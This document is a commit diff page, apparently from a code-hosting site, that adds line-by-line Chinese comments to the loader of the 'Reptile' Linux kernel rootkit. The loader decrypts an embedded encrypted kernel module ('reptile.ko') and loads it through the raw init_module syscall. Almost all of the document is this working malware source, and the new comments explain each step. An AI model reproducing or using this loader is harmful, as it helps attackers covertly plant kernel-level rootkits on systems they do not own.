shou_gan_mian 2 months ago
commit 33a515b746

@ -11,27 +11,37 @@
#include "encrypt.h" #include "encrypt.h"
// 定义一个字符数组,用于存储加密的内核模块数据
static char reptile_blob[] = { static char reptile_blob[] = {
#include "reptile.ko.inc" #include "reptile.ko.inc"
}; };
// 定义init_module函数用于加载内核模块
#define init_module(module_image, len, param_values) syscall(__NR_init_module, module_image, len, param_values) #define init_module(module_image, len, param_values) syscall(__NR_init_module, module_image, len, param_values)
int main(void) int main(void)
{ {
int ret = EXIT_FAILURE; int ret = EXIT_FAILURE;
size_t len; size_t len;
void *module_image; void *module_image;
len = sizeof(reptile_blob); // 获取内核模块数据的长度
do_decrypt(reptile_blob, len, DECRYPT_KEY); len = sizeof(reptile_blob);
module_image = malloc(len); // 对内核模块数据进行解密
memcpy(module_image, reptile_blob, len); do_decrypt(reptile_blob, len, DECRYPT_KEY);
init_module(module_image, len, ""); // 分配内存用于加载内核模块
module_image = malloc(len);
// 将解密后的内核模块数据复制到分配的内存中
memcpy(module_image, reptile_blob, len);
// 加载内核模块
init_module(module_image, len, "");
if (errno == 37) // 检查加载结果如果errno为37表示加载成功
ret = EXIT_SUCCESS; if (errno == 37)
ret = EXIT_SUCCESS;
free(module_image); // 释放分配的内存
return ret; free(module_image);
} // 返回加载结果
return ret;
}
Loading…
Cancel
Save